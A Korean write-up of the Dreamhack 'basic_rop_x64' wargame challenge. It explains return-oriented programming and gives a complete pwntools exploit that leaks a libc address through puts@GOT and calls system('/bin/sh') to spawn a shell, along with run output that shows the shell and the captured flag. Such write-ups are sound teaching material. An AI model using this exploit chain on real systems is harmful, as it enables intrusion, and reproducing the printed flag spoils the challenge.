[dreamhack] basic_rop_x64 writeup

1. 문제

thumbnail
basic_rop_x64

이 문제는 서버에서 작동하고 있는 서비스(basic_rop_x64)의 바이너리와 소스 코드가 주어집니다.
Return Oriented Programming 공격 기법을 통해 셸을 획득한 후, 'flag' 파일을 읽으세요.
'flag' 파일의 내용을 워게임 사이트에 인증하면 점수를 획득할 수 있습니다.
플래그의 형식은 DH{...} 입니다.

https://dreamhack.io/wargame/challenges/29

2. 풀이

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

int main(int argc, char *argv[]) {
    char buf[0x40] = {};

    initialize();

    read(0, buf, 0x400);
    write(1, buf, sizeof(buf));

    return 0;
}

buf0x400만큼 입력을 받고, 0x40만큼 출력한다.


2.1. ROP (Return Oriented Programming)

일단 ROP에 대해서 알아야 한다. ROPBOF취약점을 이용해서 리턴 주소를 조작하여 이미 존재하는 코드 조각 (gadget)들을 조합하여 원하는 동작을 수행하는 기술이다. 기존에는 쉘코드를 스택에 직접 넣어서 실행이 가능했지만, NX bit의 등장으로 이게 불가능해졌다. 그래서 코드를 새로 넣지 않고, 프로그램 안에 이미 존재하는 코드를 조합해서 공격하는 방법이 등장했다.

2.1.1. Gadget

Gadgetret으로 끝나는 짧은 어셈블리 코드 조각이다. 예를 들어 아래와 같은 코드들이다.

0x40101a: pop rdi; ret
0x40102b: pop rsi; pop r15; ret
0x40103c: mov rdx, rsi; ret

이런 코드들은 이미 프로그램 및 라이브러리 내부에 이미 존재하며 이를 조합해서 ROP를 수행한다. Gadget을 구하는 방법은 ROPgadget이라는 프로그램을 통해 아래와 같이 구할 수 있다.

ROPgadget --binary [binary] | grep "pop rdi"

2.1.2. 32bit ROP

32bit에서의 ROP는 호출인자를 스택을 통해 전달한다. 예를 들어 아래와 같은 취약한 코드가 있다고 가정하자.

#include <stdio.h>
#include <string.h>

void vuln() {
    char buf[100];
    gets(buf);
}

int main() {
    vuln();
    return 0;
}

이를 exploit하기위해 ROP를 수행하면 아래와 같이 payload를 보낼 수 있다.

payload = b"A" * 104         # 100(buf) + 4(ebp)
payload += p32(system_addr)
payload += p32(0xdeadbeef)   # return address
payload += p32(binsh_addr)

여기서 system_addrsystem@plt의 주소이고 아래의 0xdeadbeefsystem함수가 종료되고 나서 실행될 리턴 주소이다. 마지막으로 binsh_addrsystem함수를 실행시키기 위한 "/bin/sh" 문자열의 주소이다.

여기서는 system함수를 통해 쉘을 실행시키기만 하면 성공이기 때문에 return address0xdeadbeef와 같은 쓰레기값으로 넣었지만, 만약 다른 주소로 다시 리턴이 필요한 경우에는 해당 주소도 제대로 채워줘야한다. 예를 들면 아래와 같이 가능하다.

payload = b"A" * 112         # 100(buf) + 4(ebp)
payload += p32(system_addr)
payload += p32(main_addr)   # return address
payload += p32(binsh_addr)

payload += p32(puts_addr)
payload += p32(main_addr)   # return address
payload += p32(puts_string)

이러면 system함수가 종료된 뒤 main함수가 실행되며, main함수 종료 후 puts함수가 실행되어 puts_string값을 출력한다.

즉, 32비트에서는 인자를 스택으로 직접 푸시하여 보내기 때문에 특별한 gadget이 거의 필요가 없다.

2.1.3. 64bit ROP

64비트에서는 스택이 아니라 레지스터를 통해 함수의 인자를 전달하게 된다. 따라서 32비트처럼 스택에 인자를 쌓는다고 함수에 전달되는게 아니라 pop [reg] 등의 코드를 통해 레지스터에 직접 값을 넣어줘야한다.

32비트 설명과 동일한 취약한 코드를 기준으로 설명하겠다.

#include <stdio.h>
#include <string.h>

void vuln() {
    char buf[100];
    gets(buf);
}

int main() {
    vuln();
    return 0;
}

이를 exploit하기위해 ROP를 수행하면 아래와 같이 payload를 보낼 수 있다.

payload = b"A" * 104               # overflow + alignment
payload += p64(pop_rdi_ret)        # rdi 세팅
payload += p64(binsh_addr)         # rdi = "/bin/sh"
payload += p64(system_addr)        # call system

여기서 pop_rdi_retpop rdi; ret;라는 어셈블리 코드이다. 즉, "/bin/sh"문자열이 들어있는 주소를 rdi 레지스터에 넣어줘야하기 때문에 pop rdi; 코드가 필요하고, ret;를 통해 그 다음에 있는 코드인 system함수가 실행되는 것이다. system함수는 첫번째 인자로 rdi 레지스터를 사용하고, 따라서 system("/bin/sh")가 실행된다.

64비트에서 함수 인자로 쓰이는 레지스터 순서는 아래와 같다.

순서 인자 위치 설명
1 rdi 첫 번째 인자
2 rsi 두 번째 인자
3 rdx 세 번째 인자
4 rcx 네 번째 인자
5 r8 다섯 번째 인자
6 r9 여섯 번째 인자
7+ 스택 일곱 번째 인자부터는 스택

예를 들어 이런 함수가 있다고 하자.

some_function(a, b, c, d, e, f);

그러면 내부적으로 이 함수의 인자는 아래와 같이 레지스터에 배치된다.

rdi = a
rsi = b
rdx = c
rcx = d
r8  = e
r9  = f

2.2. exploit

그러면 이제 문제를 풀어보자. bof를 통해 리턴 주소를 조작한 후, system("/bin/sh")를 실행하는 것이 목표이다. 그러려면 우선 system함수의 주소와 "/bin/sh"문자열이 들어있는 주소를 알 필요가 있다.

이를 위해서는 libc에서의 특정 함수 주소를 하나 leak하여 이를 기반으로 offset을 계산하면 된다. 어떻게 leak이 가능할까?

이 코드에는 출력을 위한 함수가 2개 존재한다. 하나는 write함수이고, 하나는 puts함수이다. 이 두 함수를 활용해서 이 코드에서 사용된 함수의 GOT 주소를 출력시키면 이미 한번 실행되었기 때문에 해당 함수의 libc 기반의 실제 주소값이 들어가있을 것이다. 예를 들어 read@got를 출력한다고 하면, 해당 주소에는 libc에서의 실제 read 주소가 들어있는 것이다.

이를 위한 payload를 작성하면 아래와 같다.

# 1. leak read_libc
payload = b''
payload += b"a" * 0x40
payload += b'b' * 0x8

payload += p64(pop_rdi_ret)
payload += p64(elf.got["read"])
payload += p64(puts_plt)    # 0x4005c0
payload += p64(elf.symbols["main"])

출력을 위해서 puts@plt 주소를 사용하였고, No PIE이기 때문에 이 주소는 고정값으로 구할 수 있다. 그리고 rdi 레지스터에 read@got 주소를 넣어서 puts함수의 인자로 사용하였다. write함수 사용보다 인자가 적어서 편하다..

마지막에 main함수의 주소를 넣어서 read@got주소를 출력하고 나면 다시 main이 실행되도록 했다.

이제 read함수의 실제 주소를 구했으니, 이를 기반으로 "/bin/sh"문자열과 system함수의 실제 주소를 구해준다.

libcbase = read_libc - libc.symbols["read"]
binsh_libc = libcbase + binsh_offset
system_libc = libcbase + system_offset

이 offset은 각각 아래와 같이 구할 수 있다.

ubuntu@instance-20250406-1126:~/dreamhack/level2/basic_rop_x64$ readelf -s libc.so.6 |grep system
  1481: 0000000000050d60    45 FUNC    WEAK   DEFAULT   15 system@@GLIBC_2.2.5
ubuntu@instance-20250406-1126:~/dreamhack/level2/basic_rop_x64$ strings -tx libc.so.6 |grep "/bin/sh"
 1d8698 /bin/sh

puts함수가 다시 main함수가 실행되고, 다시 한번 bof를 통해 리턴 주소를 조작할 수 있다. 이때는 이미 system("/bin/sh")를 실행할 준비가 끝났기 때문에, 바로 실행하도록 하자.

# 2. get shell
payload = b''
payload += b"a" * 0x40
payload += b'b' * 0x8
payload += p64(ret)

payload += p64(pop_rdi_ret)
payload += p64(binsh_libc)
payload += p64(system_libc)

이때 처음에 read주소를 leak할때와 조금 다른게 보이는데 바로 p64(ret)가 추가된 점이다. 이렇게 추가한 이유는 stack alignment (스택 정렬)을 맞춰주기 위함으로, 64비트에서는 특정 함수가 호출되기 전에 RSP가 16바이트 기준으로 정렬되어 있어야 한다. 특히 system 함수는 내부적으로 movaps라는 명령어가 사용되는데, 이 명령어를 실행 시에 RSP 레지스터가 16바이트러 정렬되어 있지않으면 충돌이 발생한다. 따라서 더미 또는 패딩 용으로 아무 역할을 하지않는 8바이트짜리 ret 코드를 하나 넣어주면 해결이 된다.

최종 exploit은 아래와 같다.

from pwn import *

p = process("./basic_rop_x64")
p = remote("host3.dreamhack.games", 20704)

elf = ELF("./basic_rop_x64")
libc = ELF("./libc.so.6")

pop_rdi_ret = 0x0000000000400883
ret = 0x00000000004005a9
system_offset = 0x50d60
binsh_offset = 0x1d8698
puts_plt = 0x4005c0

# 1. leak read_libc
payload = b''
payload += b"a" * 0x40
payload += b'b' * 0x8

payload += p64(pop_rdi_ret)
payload += p64(elf.got["read"])
payload += p64(puts_plt)
payload += p64(elf.symbols["main"])

p.send(payload)

p.recvuntil("a" * 64)
read_libc = u64(p.recv(6) + b'\x00\x00')

libcbase = read_libc - libc.symbols["read"]
binsh_libc = libcbase + binsh_offset
system_libc = libcbase + system_offset

# 2. get shell
payload = b''
payload += b"a" * 0x40
payload += b'b' * 0x8
payload += p64(ret)

payload += p64(pop_rdi_ret)
payload += p64(binsh_libc)
payload += p64(system_libc)

p.send(payload)

p.interactive()
ubuntu@instance-20250406-1126:~/dreamhack/level2/basic_rop_x64$ python3 e_basic_rop_x64.py 
[+] Starting local process './basic_rop_x64': pid 2233567
[+] Opening connection to host3.dreamhack.games on port 20704: Done
[!] Could not populate PLT: Cannot allocate 1GB memory to run Unicorn Engine
[*] '/home/ubuntu/dreamhack/level2/basic_rop_x64/basic_rop_x64'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x3fe000)
    RUNPATH:    b'.'
    Stripped:   No
[!] Could not populate PLT: Cannot allocate 1GB memory to run Unicorn Engine
[*] '/home/ubuntu/dreamhack/level2/basic_rop_x64/libc.so.6'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    SHSTK:      Enabled
    IBT:        Enabled
/home/ubuntu/dreamhack/level2/basic_rop_x64/e_basic_rop_x64.py:27: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  p.recvuntil("a" * 64)
[*] Switching to interactive mode

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa$ id
uid=1000(basic_rop_x64) gid=1000(basic_rop_x64) groups=1000(basic_rop_x64)
$ 
$ cat flag
DH{6311151d71a102eb27195bceb61097c15cd2bcd9fd117fc66293e8c780ae104e}

깜빡했는데 이거 하기전에 libc.so.6이 제공된다. 반드시 patchelf를 수행해서 서버환경을 맞춰주자…

해결~